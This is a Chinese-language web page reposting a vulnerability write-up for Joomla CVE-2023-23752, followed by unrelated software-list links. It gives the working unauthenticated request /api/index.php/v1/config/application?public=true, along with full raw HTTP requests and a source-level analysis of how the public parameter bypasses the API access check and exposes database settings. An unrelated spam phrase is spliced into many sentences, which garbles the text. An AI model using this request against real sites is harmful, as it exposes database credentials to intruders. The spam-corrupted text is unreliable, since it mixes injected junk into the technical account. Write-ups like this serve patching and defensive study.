Joomla未授权访问漏洞(CVE-2023-23752)

栏目:行业资讯 作者:新安网 时间:2023-09-10 06:21:37
Joomla未授权访问漏洞(CVE-2023-23752) 漏洞简介 在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,在Joomla受影响的版本中由于对Web服务端点的访问限制不...

Joomla未授权访问漏洞(CVE-2023-23752)

漏洞简介

在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息向日葵app下载汅api老版本免费。

影响版本

4.0.0 <= Joomla <= 4.2.7

环境搭建

文件下载地址

利用 phpstudy 搭建漏洞环境

我们利用 phpstudy 来搭建环境向日葵app下载汅api老版本免费,选择 Apache2.4.39 + MySQL5.7.26+ php7.4.3 ,同时利用 PhpStorm 来实现对项目的调试

安装完成后

前台

后台

漏洞复现

构造路由 /api/index.php/v1/config/application?public=true

返回向日葵app下载汅api老版本免费了数据库的相关信息

漏洞分析

经过调试分析发现是对 api 路径下的身份校验进行了绕过向日葵app下载汅api老版本免费,默认在未登录的情况下访问 返回 {"errors":[{"title":"Forbidden"}]}

所以就针对于 api 路径下的身份校验进行具体分析

api/index.php

api/includes/app.php

\Joomla\CMS\Application\CMSApplication::execute

\Joomla\CMS\Application\ApiApplication::doExecute

其中的 $this->route; 对应向日葵app下载汅api老版本免费了路由应用程序

\Joomla\CMS\Application\ApiApplication::route

$router 对应了 api 下所有的路由信息向日葵app下载汅api老版本免费,之后调用 parseApiRoute 对路由进行处理

\Joomla\CMS\Router\ApiRouter::parseApiRoute

当 public 为false 时向日葵app下载汅api老版本免费,是禁止外部访问的

GET /api/index.php/v1/config/application

Host:joomla.test

Upgrade-Insecure-Requests:1

User-Agent:Mozilla/5.0(WindowsNT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/85.0.4183.83Safari/537.36

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie:XDEBUG_SESSION=PHPSTORM

Connection: close

但是通过路径传入的值在之后可以覆盖替换原本的值

GET /api/index.php/v1/config/application?public=true

Host:joomla.test

Upgrade-Insecure-Requests:1

User-Agent:Mozilla/5.0(WindowsNT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/85.0.4183.83Safari/537.36

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie:XDEBUG_SESSION=PHPSTORM

Connection: close

征集原创技术文章中向日葵app下载汅api老版本免费,欢迎投递

投稿邮箱: [email protected]

文章类型:黑客极客技术、信息安全、热点安全研究分析等安全相关

通过审核并发布能收获200-800不等的稿酬

更多详情介绍向日葵app下载汅api老版本免费,点我查看

免费靶场实操向日葵app下载汅api老版本免费,戳“阅读原文“

阅读:1次

相关文章

电脑垃圾清理工具大全-电脑垃圾清理工具哪个好

电脑垃圾清理工具大全是小编给大家推荐的几款比较好用的电脑垃圾清理工具合集。电脑垃圾清理工具大全支持清理电脑中的垃圾文件、注...
2023-09-23
电脑垃圾清理工具大全-电脑垃圾清理工具哪个好

电脑一键重装系统工具大全-电脑一键重装系统工具哪个好

电脑一键重装系统工具大全为大家整合了市面上热门的系统装机软件下载。电脑一键重装系统工具大全摆脱了传统借助光驱、软件等介质的...
2023-09-23
电脑一键重装系统工具大全-电脑一键重装系统工具哪个好

字体打包下载大全-字体打包下载哪个好

字体打包下载大全整理了最全、最齐的各种字体包供大家下载,譬如ps字体包、CAD字体库、方正字库、篆书字体包等。字体打包下载大全应...
2023-09-23
字体打包下载大全-字体打包下载哪个好

记事本软件大全-记事本软件哪个好

记事本软件大全是小编为大家提供的一些实用、便捷的记事本软件合集。记事本软件大全适用范围非常广泛,能够快速的保存和记录任何文...
2023-09-23
记事本软件大全-记事本软件哪个好

背单词软件大全-背单词软件哪个好

背单词软件大全是小编给大家精心挑选的背单词软件合集。背单词软件大全拥有更多的背单词技巧和背单词好的方法,可以帮助我们快速而...
2023-09-23
背单词软件大全-背单词软件哪个好

CD刻录大全-CD刻录哪个好

CD刻录大全是小编为大家带来的一些CD刻录软件合集,帮助大家刻录光盘更加快速。CD刻录大全能够帮助用户轻松将音频制作为CD,很适合...
2023-09-23
CD刻录大全-CD刻录哪个好

PPT插件大全-PPT插件哪个好

PPT插件大全是小编为大家收集的PPT插件库,包含了多款PPT插件,安装之后,能方便制作出各种精美的PPT文件。PPT插件大全提供智能图表...
2023-09-23
PPT插件大全-PPT插件哪个好

倒计时软件大全-倒计时软件哪个好

倒计时软件大全是小编为大家带来好用的倒计时计时器软件推荐。倒计时软件大全可以帮助我们更好的了解自己剩余的时间,可以时刻给用...
2023-09-23
倒计时软件大全-倒计时软件哪个好

分类栏目